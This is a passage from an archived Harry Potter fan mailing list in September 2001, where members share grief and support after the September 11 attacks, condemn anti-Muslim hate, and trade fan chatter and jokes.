out there. I have taught my children not to judge
anyone because they are a different color,nationality,
religion, whatever makes them different from
themselves. I really hope they stay that way, but
outside influences as they get older will play into
this. As a mother, I am going to do what I can so they
won't turn out to be a part of some hate group or turn
to drugs. Not try but do what I can to make sure!
Neil, this world needs more love for one another, but
as long as hate is out there and people want what they
want for themselves and don't care about others, we
will never see it! Not in our lifetime. Thank you for
your output on your feelings. I learned last night
that a High School Buddy lost her son and his wife.
They were on one of the planes that crashed into one
of The Towers. Catlady gave a great suggestion, she is
a comfort to all in this group! Now, I'm off to find
out her address from my friend that informed me. 


Wanda in Revere, Massachusetts     
--- Neil Ward <neilward at dircon.co.uk> wrote:
> I know several people have said this already, and it
> seems rather obvious to
> say it, but this tragedy has deeply affected many
> people outside the US.
> Those horrific images are running through my mind as
> I write this and it
> doesn't feel right yet to try to file them away and
> move on, not that doing
> that would be easy.  I can hardly imagine what it
> must be like to be closer
> to all this than I am, here, in London.
> 
> The playing of the US National Anthem during the
> Changing of the Guard at
> Buckingham Palace made me cry as I watched it on the
> news.  I'm not the
> steeliest of men, but I had been unable to cry until
> that point, probably
> out of sheer disbelief at what had happened.
> 
> On Wednesday morning, the commuter trains and buses
> in the British capital
> were subdued, as pretty much everyone was reading
> about Tuesday's events in
> the newspapers; many of us witnessed others sobbing
> openly on their way to
> work.  On Wednesday and Thursday, I heard, with
> relief, that business
> colleagues in New York and Washington were okay,
> and, with sadness, that
> some of them had lost friends or relatives.  On
> Friday, we observed the
> Europe-wide three minute silence in my office: for
> 180 seconds that seemed
> like an hour, I sat, with my secretary crying her
> heart out in the next
> room, feeling angry that traffic continued to stream
> past the window instead
> of pulling over.
> 
> The friendship in this group has been something to
> treasure over the past
> few days.  The advance of technology has allowed us
> a small world within our
> world that has strengthened the ties between us.  I
> hope the human race can
> now advance and eradicate terrorism, war, prejudice
> and hatred.  I hope
> against hope that it can do that.
> 
> Neil
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


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From witchwanda2002 at yahoo.com  Sat Sep 15 13:30:28 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sat, 15 Sep 2001 06:30:28 -0700 (PDT)
Subject: Hateful actions
Message-ID: <20010915133028.38269.qmail@web13704.mail.yahoo.com>

Below is a part from Haggrid's wonderful post. I agree
with Haggrid that hate groups do not think only act
out their hatred. They played on the news a phone
message left at one of the Mosque's, it was awful!
Neil touched on world hate and it is really sad that
John Lennon's song "Imagine" couldn't come true. All
of us living as one. It is indeed a sad world we live
in. Nobody should treat those that are different with
hateful words and actions. My family here with HP4GU
and my home family have really reached out with love!
Key word is LOVE! It is to bad that there are morons
out there that act like real dangerous animals.

Wanda


from Haggrid's post:
 We remember our mistake with Japanese-Americans in
WWII, and we will not repeat it.  Those Unamerican
fools who have acted so abominably are repudiated.
They should go report to the ranks of the terrorists,
because, by these hateful acts, they are doing the
terrorists' work for them.  They need to relearn what
this wonderful
country really is, and what Americans and America
stands for.

I personally will not tolerate any such actions or any
such speech,
and I will interpose my body in defense of any
American so threatened.

Haggridd
  


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From gypsycaine at yahoo.com  Sat Sep 15 14:19:20 2001
From: gypsycaine at yahoo.com (Dee R)
Date: Sat, 15 Sep 2001 10:19:20 -0400
Subject: The past few days...
References: <1000546826.212.46788.l10@yahoogroups.com>
Message-ID: <05cd01c13df1$6a035320$10ccfea9@Denise>

Neil, may I say thank you, both to you, and to everyone who's been so great
in giving us moral, spirital, and even physical support as a country.  I'm
very very lucky.  I was worried for a few days that my friends in NYC
(Including EVERYONE here!) had gotten caught in the mess.  In another club,
one of the founders works in NY, in the hospitals, and no one had heard from
him for two days.  He's a good friend, but I realized  that after three
years--I didn't even know his real name!  Just his handle.  You who are my
HP friends at least know each others' names--we share them.

Next time he's able to be online (He posted that he's a bit busy right now;
not that we're surprised) I will find out more information 'bout him, and
less about the VampireTheMasquerade game!

>From Simon, I heard that all our NYC friends here were accounted for.  As I
scanned the digests that came in Tuesday and Wednesdays, I would read names,
and sigh in relief--"there, they're alright; yep, there's her....he's
safe..." would have been what you heard if you stood over my shoulder.

What hurts me most is the two extreme attitudes that I've seen--the one that
some Americans (and others) think we deserved this.  The second that has
been told me basically as "I don't care--it didn't effect me".

These I just can't understand.  I haven't slept well, and still can see
images that are probably not real in my head which I will not describe--they
are probably the same as everyone else has.

I do have a question, though--one of hope.  During Oklahoma there were folks
found alive days later.  Does anyone know the longest that happened?  I am
still hopeful.  That's why I light my candle--that the "pocket" folks will
be found alive and well.

Thanks if you know the answer.

Dee



<<Date: Sat, 15 Sep 2001 08:32:39 +0100
   From: "Neil Ward" <neilward at dircon.co.uk>
Subject: The past few days...

I know several people have said this already, and it seems rather obvious to
say it, but this tragedy has deeply affected many people outside the US.
Those horrific images are running through my mind as I write this and it
doesn't feel right yet to try to file them away and move on, not that doing
that would be easy.  I can hardly imagine what it must be like to be closer
to all this than I am, here, in London.

The playing of the US National Anthem during the Changing of the Guard at
Buckingham Palace made me cry as I watched it on the news.  I'm not the
steeliest of men, but I had been unable to cry until that point, probably
out of sheer disbelief at what had happened.

On Wednesday morning, the commuter trains and buses in the British capital
were subdued, as pretty much everyone was reading about Tuesday's events in
the newspapers; many of us witnessed others sobbing openly on their way to
work.  On Wednesday and Thursday, I heard, with relief, that business
colleagues in New York and Washington were okay, and, with sadness, that
some of them had lost friends or relatives.  On Friday, we observed the
Europe-wide three minute silence in my office: for 180 seconds that seemed
like an hour, I sat, with my secretary crying her heart out in the next
room, feeling angry that traffic continued to stream past the window instead
of pulling over.

The friendship in this group has been something to treasure over the past
few days.  The advance of technology has allowed us a small world within our
world that has strengthened the ties between us.  I hope the human race can
now advance and eradicate terrorism, war, prejudice and hatred.  I hope
against hope that it can do that.

Neil>>


_________________________________________________________
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Get your free @yahoo.com address at http://mail.yahoo.com




From inviziblegirl at hotmail.com  Sat Sep 15 16:16:07 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Sat, 15 Sep 2001 12:16:07 -0400
Subject: Wizarding World in Hiding...
Message-ID: <F13JzBefpdp9oPEtxB20000c780@hotmail.com>


>From: "Jim Ferer" <jferer at yahoo.com>
>
>The next step would be that people would think wizards were running
>the world behind the scenes to suit themselves. An awful lot of people
>look for the invisible puppeteers messing up their lives, whether
>they're members of the Tripartite Commission or the UN, or flying
>black helicopters. Eventually violence against wizards would begin.
>
>The wizards made the right decision to stay secret.

Well...er...they could just tell this group that they would exist, then. I'm 
sure that I can speak for any Fantasy Fanatic who has long dreamed of the 
existence of magic that they would give quite a lot to live in the Wizarding 
World. And Potter Fanatics would be just as keen.

Or how about tell just me? I can keep secrets. Although I must say, if I 
were told of the existence of the Wizarding World, Dumbledore had better 
watch out because I'd do everything in my power to have them accept 22 year 
old students. That might be a reason they're not telling me...

~Amber
(Who has been hoping that Magic would reveal itself ever since she read her 
first fantasy novel...)

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From aiz24 at hotmail.com  Sat Sep 15 19:22:01 2001
From: aiz24 at hotmail.com (aiz24 at hotmail.com)
Date: Sat, 15 Sep 2001 19:22:01 -0000
Subject: Wizarding World in Hiding...
In-Reply-To: <F13JzBefpdp9oPEtxB20000c780@hotmail.com>
Message-ID: <9o09op+slnn@eGroups.com>

Amber wrote:
 
> Or how about tell just me? I can keep secrets. 

Maybe they *have* told some of the members of this list but the rest 
of us don't know it.

Gotta go, got a date with Remus in half an hour.
Amy






From triner918 at aol.com  Sun Sep 16 03:23:29 2001
From: triner918 at aol.com (triner918 at aol.com)
Date: Sun, 16 Sep 2001 03:23:29 -0000
Subject: This week (v. long)
Message-ID: <9o15vh+g00m@eGroups.com>

This week has been the most difficult I have ever had, as it has for 
most Americans and the world.  I was at school when it happened and 
at first only heard snippets whispered about in the hallway.  When I 
was finally able to have a chance to read the news on various 
internet sites, I was dumbfounded. It didn't seem real, even having 
seen photos,  not until I got home and turned the tv on and saw the  
video images for myself.  I have been glued to the news, although 
last night and today I have turned on brainless shows in order to 
give myself a break while I eat my Bertie Bott's Every Flavor Beans, 
which I only just found here today. (BTW, I do not enjoy the sardine 
bean.  Yeuch!)  

Some of my kids in speech at school have talked about it.  On 
Wednesday am the first question I was asked my one of my 2nd graders 
was "Why did those planes have so much gas on them?" He also wanted 
to know what I thought the next target was going to be.  Another 
group of boys was talking about joining the Army and going to fight 
the people who did this to us.  One in that group also said he was 
just praying that they didn't come here and do anything and for the 
people who died in the crashes and the buildings that fell down.  I 
just ached inside for them all.  They are in the second grade.  They 
should only be concerned about their Accelerated Reader points and 
not getting their card flipped in the classroom (part of a classroom 
disciplinary system in many of the rooms) not war.   

My brother, who is out in LA, has just moved into a new apartment, 
and doesn't yet have the cable hooked up.  Tuesday he got into his 
car around 8:00 am to go to work, turned his radio on to hear the 
news about the plane crash into the Pentagon.  "And now back to the 
big story..."  He thought, "What on earth is going on if a plane 
crashing into the Pentagon is *not* the Big Story?"

Anyway, I am doing much better tonight.  I slept better last night 
with no odd, disturbing dreams involving kids from school. I have 
learned that my friend Missie in the DC area is okay.  Her building 
was evacuated on Tuesday--they are only about 20 minutes from the 
White House.  It took her 2 hours to get home on the train, but she 
is safe.  Ditto for the family of another friend from Long Island.  I 
I am very grateful for that.  

I am also very grateful for this group.  Reading all the messages of 
support here (and on the KS list) has helped during this week.  

Trina 








From pkerr06 at attglobal.net  Sun Sep 16 02:24:07 2001
From: pkerr06 at attglobal.net (Peg Kerr)
Date: Sat, 15 Sep 2001 21:24:07 -0500
Subject: The past few days
References: <1000546826.212.46788.l10@yahoogroups.com>
Message-ID: <3BA40D47.16A0DFFC@attglobal.net>



"Neil Ward" <neilward at dircon.co.uk> wrote:

>    Date: Sat, 15 Sep 2001 08:32:39 +0100
>    From: "Neil Ward" <neilward at dircon.co.uk>
> Subject: The past few days...
>
> I know several people have said this already, and it seems rather obvious to
> say it, but this tragedy has deeply affected many people outside the US.

Yes.  And you have no idea how much of a comfort it is to us in the U.S. to hear
that, to know that as we struggle through the days, frightened and bewildered,
we are not facing this . . . this MONSTROSITY alone, but the rest of the world
is gathering with us so that we can face it together.

One of the other emails lists I subscribe to is World Wide Recipes at
www.wwrecipes.com.  Get a recipe a day by email.  Run by a nice gentleman out of
Georgia, and has about 140,000 subscribers around the world.  Apparently, when
this happened, he received thousands of emails from people around the world, all
telling him (because he was the one American they knew) how sad and sorry they
were.  He's sent a sampling out of them out in his daily message, and I can't
tell you how comforting they are: message after message after message, from
India, England, Indonesia, Brazil, Australia, South Africa, Israel, Java,
EVERYWHERE, telling us, yes, we are with you, we are shocked and grieved, too,
you are not alone.  I cried as I read those messages, because they really helped
me see how much the whole world understands my hurt.

> Those horrific images are running through my mind as I write this and it
> doesn't feel right yet to try to file them away and move on, not that doing
> that would be easy.  I can hardly imagine what it must be like to be closer
> to all this than I am, here, in London.

It's dreadful.  I've been very sick, which hasn't helped.  Or oddly enough, it
did, because I had a prescription for cough syrup with codeine, and that helped
me sleep, and for that I was grateful the first two days.  Last night, I was
well enough to go without the cough syrup, and as a result, I got only about
three hours sleep.  This living nightmare would not let me sleep.

> The playing of the US National Anthem during the Changing of the Guard at
> Buckingham Palace made me cry as I watched it on the news.  I'm not the
> steeliest of men, but I had been unable to cry until that point, probably
> out of sheer disbelief at what had happened.

I cried a little, a very little the first day, before I heard that my brother in
Manhattan was safe.  I've cried a little over some of the newspaper reports.
But I keep waiting for some huge wrenching cathartic sobs to come--god knows I
feel enough grief to justify them--but even though I think they might help, and
I WANT them to come, I just can't cry like that.  Still too numb.

My eight year old daughter is showing signs of stress.  We have not let her
watch any television, but it's impossible to hide everything from her: her
classmate's uncle died at the Pentagon. And she has seen a few things in the
papers (bits about heroic rescuers, support from around the world, etc., without
showing her pictures), although I hid the first one from her.  (Note: as I typed
that very last sentence, she came out of her bedroom an hour after her bedtime
saying that she can't sleep.  Brief break for hugs and reassurances.)

> The friendship in this group has been something to treasure over the past
> few days.  The advance of technology has allowed us a small world within our
> world that has strengthened the ties between us.

Absolutely.  I am so grateful for my friends on this list.

> I hope the human race can
> now advance and eradicate terrorism, war, prejudice and hatred.  I hope
> against hope that it can do that.
>
> Neil
>

I sent a card of support today to the Islamic Center of Minnesota, where I
live.  Just saying, I know your community is anxious right now, but please
believe that your deep faith will pull you through, and know that people of
other faiths will stand shoulder to shoulder with you, as we face this together.

Also, I wanted to pass on the best idea I heard all day, from a friend on
another list, Roz Kaveney (actually, her email originates from the UK, too).

"As for the question of a fitting memorial for all those who died, a
memorial that will not just perpetuate the politics of hate in the Third
and Islamic Worlds, I have a proposal. Create scholarships, one each named
after the victims of Tuesday, to provide poor children all over those
parts of the world most in need with high school education followed by
training in medicine, civil engineering and maybe a few other things. An
Operation Headstart for the Third World would actually help reduce poverty
and remove that foreignness and alienness which is one of the reasons for
hatred. We need to change the world, and an act of imaginative kindness to
those who think they have a reason to hate us would be a start.

If you agree with this, write to every influential person you know...."


Peg


[Non-text portions of this message have been removed]




From aboyko at nb.sympatico.ca  Sun Sep 16 04:35:19 2001
From: aboyko at nb.sympatico.ca (Angela Boyko)
Date: Sun, 16 Sep 2001 01:35:19 -0300
Subject: [HPFGU-OTChatter] Re: The past few days
References: <1000546826.212.46788.l10@yahoogroups.com> <3BA40D47.16A0DFFC@attglobal.net>
Message-ID: <3BA42C06.9F013B0D@nb.sympatico.ca>

Peg Kerr wrote:
> 
> Yes.  And you have no idea how much of a comfort it is to us in the U.S. to hear
> that, to know that as we struggle through the days, frightened and bewildered,
> we are not facing this . . . this MONSTROSITY alone, but the rest of the world
> is gathering with us so that we can face it together.

You are not alone. It could have happened in Canada. We were glad to do
what we could, to provide safe airports for everyone who got diverted.
And we will continue to what we can. We observed minutes of silence at
work yesterday. To not have done so would have been wrong.

I've been frustrated all week, because I'm just recovering from strep
throat and can not give blood again yet. The next time I give blood, it
will be my 15th donation, and the most meaningful yet. 

The first few times I gave blood, I used to motivate myself through the
ickiness of having a needle in my arm. I would motivate myself by
imagining someone who needed blood, like a newborn baby who needed an
operation, or perhaps someone like my grandmother. It got easier with
each donation, and now it's not icky at all. (this would be my not so
subtle way of saying, if you haven't given blood yet, please do) (it
also goes a lot faster if you drink lots of liquids starting 24 hours
before the donation)

I'm ashamed to say this now, but I used to get a little sick of the flag
waving on American TV. You know, the Wal-mart commercials extolling the
virtues of being American and all that. I didn't get why Americans felt
this need to declare their patriotic pride everywhere.

I get it now. This American pride you have, this is what is sustaining
you and giving you the strength to say, "We will get through this. They
didn't crush us. They didn't win". Good for you! Bring on the cheesy
Wal-mart commercials!

> I cried a little, a very little the first day, before I heard that my brother in
> Manhattan was safe.  I've cried a little over some of the newspaper reports.
> But I keep waiting for some huge wrenching cathartic sobs to come--god knows I
> feel enough grief to justify them--but even though I think they might help, and
> I WANT them to come, I just can't cry like that.  Still too numb.

I cracked Thursday night. A reporter was interviewing families who are
looking for their loved ones. She started crying and that's what got me
going. The anchor back at CNN talked with the reporter about what a
wonderful job she's doing in such a difficult time and even that made me
cry. I'm constantly saying prayers that the families will have an
answer, one way or another, about what happened to their loved ones.

Angela

-- 
Behold Angela the Brave!		ICQ: 65588507
New Brunswick, Canada, eh?		AIM: angelamermaid
http://www.geocities.com/ochfd42/index.html
  "Every time I close the door on reality it comes in
      through the windows."  Jennifer Unlimited



From crabtree at ktc.com  Sun Sep 16 05:09:13 2001
From: crabtree at ktc.com (crabtree at ktc.com)
Date: Sun, 16 Sep 2001 05:09:13 -0000
Subject: This week (v. long)
In-Reply-To: <9o15vh+g00m@eGroups.com>
Message-ID: <9o1c5p+mlq6@eGroups.com>

--- In HPFGU-OTChatter at y..., triner918 at a... wrote:
*snip*
> I 
> just ached inside for them all.  They are in the second grade.  They 
> should only be concerned about their Accelerated Reader points and 
> not getting their card flipped in the classroom (part of a classroom 
> disciplinary system in many of the rooms) not war.   
>

I too am concerned about the children. Tuesday morning teachers in my 
school began passing word and rumors around to each other in whispers, 
trying not to let the students know what was going on.  We felt that 
there was no reason to alarm them before it was necessary for them to 
know.  Wednesday after they had seen the news, my fifth graders HAD to 
talk about it. We stayed as busy as possible to keep our minds from 
dwelling on it.  Since we are reading SS in class, I pulled up The 
Leaky Cauldron/HP Galleries on the computer and let them all take time 
investigating.  Yesterday we spent extra time reading SS. We have one 
chapter left to go now. They are so anxious to take their test and 
earn those Accelerated Reader points. 

*snip again*

> I am also very grateful for this group.  Reading all the messages of 
> support here (and on the KS list) has helped during this week.  
> 
> Trina

Today I went back to San Antonio to find the VF.  At B&N they told me 
that the news stand person was getting married today and that they 
weren't sure where the new ones might be, perhaps in the back 
somewhere. I told them I had driven two hours to get it and I didn't 
mind waiting while they looked.  They were really sweet about it and 
spent about 20 minutes looking before they reappeared with one copy 
instead of the two I had asked for.  They said they had found it 
stashed in the back.  I thanked them and proceeded to the register.  I 
was so happy until my daughter said that she hoped the new bride 
hadn't stashed it as a wedding present for her husband.  Yes, I felt a 
little twinge of guilt but only until I found page 300. I'm so happy! 
  

I just felt guilt and sadness for even saying I'm happy. I almost 
deleted that sentence with tears sliding down my cheeks. How can I 
feel happy when so many are so very sad? I understand grief. My first 
husband was killed in a car crash 25 years ago. I know we go on, and 
we even feel happiness again. Like Neil, I was in such shock that I 
didn't cry until the news clip was played about the changing of the 
guard. Now I cry at the drop of a hat. This group has been a great 
place to vent while reading everyone's posts.  

I will admit it; I WAS happy today. I felt a warm feeling in Kerrville 
where the Fire Department was out in the intersections in full uniform 
holding boots for people to drop in donations, where donation tables 
were set up at store entrances, and everywhere I looked people were 
wearing red, white, and blue ribbons and displaying "Old Glory." 
Except for Harry, Marcia and I would have stayed home.  Instead we 
also watched a couple of movies, The Glass House and Hardball, two 
great movies. We had a good day. We needed to get away from the TV for 
awhile. I am still praying for all of those who have lost loved ones. 
I hope you too can soon find something to be happy about. Like Harry 
said to Fred and George at the end of GOF, we are going to need 
something to laugh about.

Professor Phlash
CEO
Professor Phlash's
Flamboyant Floo Powder, Inc.





From inviziblegirl at hotmail.com  Sun Sep 16 05:30:21 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Sun, 16 Sep 2001 01:30:21 -0400
Subject: Fluff Alert: Wizarding World in Hiding...
Message-ID: <F65cwzsixArXIgAkrss0000cf6d@hotmail.com>


>From: aiz24 at hotmail.com
>
>Amber wrote:
>
> > Or how about tell just me? I can keep secrets.
>
>Maybe they *have* told some of the members of this list but the rest
>of us don't know it.

Now *that* would just be cruelty if list members didn't tell everyone else. 
If anyone DOES know that the wizarding world...oh, meh, I'm going into 
"Amber Fantasy Land". A fun place to be but I can't stay there forever...

>Gotta go, got a date with Remus in half an hour.

*giggle* Where is he taking you? Someplace nice? Oh, of course he is, it's 
Remus!

This completely fluffy post was brought to you by Insomniac!Amber. Feel free 
to ignore it.

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From mat at hooper11.freeserve.co.uk  Sun Sep 16 09:02:42 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Sun, 16 Sep 2001 10:02:42 +0100
Subject: Chat??
Message-ID: <5.1.0.14.0.20010916100209.009f45e0@pop.freeserve.net>

Is the chat still on tonight does anyone know...?

Just wondering with the events of last week...

Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From s_ings at yahoo.com  Sun Sep 16 11:39:40 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 16 Sep 2001 04:39:40 -0700 (PDT)
Subject: [HPFGU-OTChatter] Chat??
In-Reply-To: <5.1.0.14.0.20010916100209.009f45e0@pop.freeserve.net>
Message-ID: <20010916113940.15317.qmail@web14602.mail.yahoo.com>

Yes, chat is still on. A number of us have been
chatting thoughout the week and plan to be there
today.

Sheryll

--- Martin Hooper <mat at hooper11.freeserve.co.uk>
wrote:
> Is the chat still on tonight does anyone know...?
> 
> Just wondering with the events of last week...
> 
> Martin Hooper
> AIM: martinjh99 ICQ: 43933602
> http://www.crosswinds.net/~martinjh99/
> 
> 
> [Non-text portions of this message have been
> removed]
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From s_ings at yahoo.com  Sun Sep 16 12:10:49 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 16 Sep 2001 05:10:49 -0700 (PDT)
Subject: Photo in the Ottawa paper
In-Reply-To: <9o1c5p+mlq6@eGroups.com>
Message-ID: <20010916121049.25909.qmail@web14605.mail.yahoo.com>

I have said very little on the lists through the past
week (though I have been in the chat room talking to
some of you throughout the week), but I saw a photo in
our paper here in Ottawa, Ontario that I had to share.
Yesterday one of our retired firefighters hung his
firefighting coat on the fence at the US embassy.
Written on the are 2 sentences.

"To all NY firefighters, their family and friends,
brothers and sisters, I'm sorry for your loss."

"You rushed in so others could rush out."


That one made me cry, perhaps because it brings home
how much the tragedy affects people globally. 

Continuing to keep everyone in my heart,
Sheryll

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From mat at hooper11.freeserve.co.uk  Sun Sep 16 13:34:52 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Sun, 16 Sep 2001 14:34:52 +0100
Subject: [HPFGU-OTChatter] Chat??
In-Reply-To: <20010916113940.15317.qmail@web14602.mail.yahoo.com>
References: <5.1.0.14.0.20010916100209.009f45e0@pop.freeserve.net>
Message-ID: <5.1.0.14.0.20010916143431.009fb2d0@pop.freeserve.net>

At 16/09/01 04:39, you wrote:
>Yes, chat is still on. A number of us have been
>chatting thoughout the week and plan to be there
>today.

Thanks Sheryll - See you there!


Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From find_sam at hotmail.com  Sun Sep 16 14:11:58 2001
From: find_sam at hotmail.com (find_sam at hotmail.com)
Date: Sun, 16 Sep 2001 14:11:58 -0000
Subject: Camping trip joke...
Message-ID: <9o2bve+uhum@eGroups.com>

I wouldn't usually post this here, but in light of recent events it 
helped to cheer me up, and thought it might do the same for all of 
you.

*****

Sherlock Holmes and Dr Watson went on a camping trip. After a good 
meal and a bottle of wine they retired for the night, and went to 
sleep. Some  hours later, Holmes awoke and nudged his faithful 
friend. "Watson, look up at the sky and tell me what you see." 

Watson replied, "I see millions and millions of stars." 

"What does that tell you?" 

Watson pondered for a minute. "Astronomically, it tells me that there 
are millions of galaxies and potentially billions of planets. 
Astrologically, I observe that Saturn is in Leo. Horologically, I 
deduce that the time is approximately a quarter past three. 
Theologically, I can see that God is all powerful and that we are 
small and insignificant. Meteorologically, I suspect that we will 
have a beautiful day tomorrow. What does it tell you?" 

Holmes was silent for a minute, then spoke. "Watson, you idiot. 
Someone has stolen our tent.'

*****

Sam




From witchwanda2002 at yahoo.com  Sun Sep 16 14:42:03 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 16 Sep 2001 07:42:03 -0700 (PDT)
Subject: Humor the best medicine
Message-ID: <20010916144203.48104.qmail@web13704.mail.yahoo.com>

Since another wonderful HP4GU sent that wonderful
joke, it helped! This Texas Chili Cook Off is an old
one but one of the best! For all of those living in
Texas, we salute you for your Chili!
Hope this makes everybody have a happier day!

Wanda the Witch of Rever, Massachusetts and Her Almost
Back To Full Merry Muggles 

Texas Chili Cook Off:

These are notes from an inexperienced chili taster 
named FRANK, who was 
visiting Texas from New Jersey ... 

"Recently I was lucky enough to be the 10,000th 
attendee at the State 
Fair in Texas and was asked to fill in to be a judge 
at a chili 
cook-off. 

Apparently the original Judge #3 called in sick at the

last moment, and 
I happened to be standing there when the call came in.

I was assured by 
the other two judges (Native Texans) that it would be 
a fun event and a 
true taste of Texas hospitality. They assured me that 
the chili wouldn't 
be all that spicy, and besides, they told me I could 
have free beer during 
the tasting, so I accepted. Here are the scorecards 
from the event." 

*****Chili # 1: Mike's Maniac Mobster Monster Chili 
JUDGE ONE: A little too heavy on tomato. Amusing kick.


JUDGE TWO: Nice, smooth tomato flavor. Very mild. 
FRANK: Holy shit, what the hell is this stuff? You 
could remove dried 
paint from your driveway with it. Took me two beers to

put the flames 
out. Hope that's the worst one. These Texans are 
crazy. 

*****Chili # 2: Arthur's Afterburner Chili 
JUDGE ONE: Smoky, with a hint of pork. Slight Jalapeno

tang. 
JUDGE TWO: Exciting BBQ flavor, needs more peppers to 
be taken 
seriously. 

FRANK: Keep this out of reach of children! I'm not 
sure what I am 
supposed to taste besides pain. I had to wave off two 
people who 
wanted to give me the Heimlich maneuver. They had to 
walkie-talkie 
in 3 extra beers when they saw the look on my face. 

*****Chili # 3: Fred's Famous Burn Down the Barn Chili


JUDGE ONE: Excellent firehouse chili! Great kick. 
Needs more beans. 
JUDGE TWO: A beanless chili, a bit salty, good use of 
red peppers. 
FRANK: Call the EPA, I've located a uranium spill. My 
nose feels like 
have been snorting Drano. Everyone knows the routine 
by now. Barmaid 
pounded me on the back; now my backbone is in the 
front part of my 
chest. I'm getting shit-faced. 

*****Chili # 4: Bubba's Black Magic 
JUDGE ONE: Black bean chili with almost no spice. 
Disappointing. 
JUDGE TWO: Hint of lime in the black beans. Good side 
dish for fish or 
other mild foods, not much of a chili. 

FRANK: I felt something scraping across my tongue, but

was unable to 
taste it. Sally, the bar maid, was standing behind me 
with fresh 
refills; that 300 lb. bitch is starting to look HOT, 
just like this 
nuclear-waste 
I'm eating. 

*****Chili # 5: Linda's Legal Lip Remover 
JUDGE ONE: Meaty, strong chili. Cayenne peppers 
freshly ground, adding 
considerable kick. Very impressive. 

JUDGE TWO: Chili using shredded beef; could use more 
tomato. Must 
admit the cayenne peppers make a strong statement. 

FRANK: My ears are ringing, and I can no longer focus 
my eyes. I 
farted and four people behind me burst into flames. 
The contestant 
seemed offended when I told her that her chili had 
given me brain 
damage. Sally saved my tongue from bleeding by pouring

beer directly 
on it from a pitcher. It really pisses me off that the

other judges 
asked me to stop screaming. Screw those rednecks! 

*****Chili # 6: Vera's Very Vegetarian Variety 
JUDGE ONE: Thin yet bold vegetarian variety chili. 
Good balance of 
spice and peppers. 

JUDGE TWO: The best yet. Aggressive use of peppers, 
onions, and garlic. 
Superb. 

FRANK: My intestines are now a straight pipe filled 
with gaseous, 
sulfuric flames. No one seems inclined to stand behind

me except that 
slut Sally. I need to wipe my ass with a snow cone! 

******Chili # 7: Susan's Screaming Sensation Chili 
JUDGE ONE: A mediocre chili with too much reliance on 
canned peppers. 
JUDGE TWO: Ho Hum, tastes as if the chef literally 
threw in a can of 
chili peppers at the last moment. I should note that I

am worried about 
Judge Number 3. He appears to be in a bit of distress 
as he is cursing 
uncontrollably. 

FRANK: You could put a grenade in my mouth, pull the 
pin, and I 
wouldn't feel a damn thing. I've lost the sight in one

eye, and the 
world sounds like it is made of rushing water. My 
shirt is covered with 
chili which slid unnoticed out of my mouth. My pants 
are full of lava-like shit to 
match my damn shirt. At least during the autopsy 
they'll know what killed me. 
I've decided to stop breathing, it's too painful. 
Screw it, I'm not 
getting any oxygen anyway. If I need air, I'll just 
suck it in through the 4 
inch hole in my stomach. 

*****Chili # 8: Helen's Mount Saint Chili 
JUDGE ONE: A perfect ending... this is a nice blend 
chili, safe for 
all, not too bold but spicy enough to declare its 
existence. 

JUDGE TWO: This final entry is a good, balanced chili,

neither mild nor 
hot. Sorry to see that most of it was lost when Judge 
Number 3 passed 
out, fell and pulled the chili pot on top of himself. 
Not sure if he's going to make it. Poor Yank. 
FRANK: --------------(editor's note: Judge #3 was 
unable to report) 

------------------------------------ 



__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From aboyko at nb.sympatico.ca  Sun Sep 16 16:53:09 2001
From: aboyko at nb.sympatico.ca (Angela Boyko)
Date: Sun, 16 Sep 2001 13:53:09 -0300
Subject: Something new for the Sims
Message-ID: <3BA4D8F4.448E3251@nb.sympatico.ca>

This isn't listed as a Harry Potter item, but it's still cool - a
broomstick your Sims can ride! Find it at http://www.cheapfrills.org

If you're wondering what a Sim is, please check out this link: 
http://thesims.ea.com/us/  It's a *very* addictive computer game.

Angela

-- 
Behold Angela the Brave!		ICQ: 65588507
New Brunswick, Canada, eh?		AIM: angelamermaid
http://www.geocities.com/ochfd42/index.html
  "Every time I close the door on reality it comes in
      through the windows."  Jennifer Unlimited



From catlady at wicca.net  Sun Sep 16 17:36:29 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
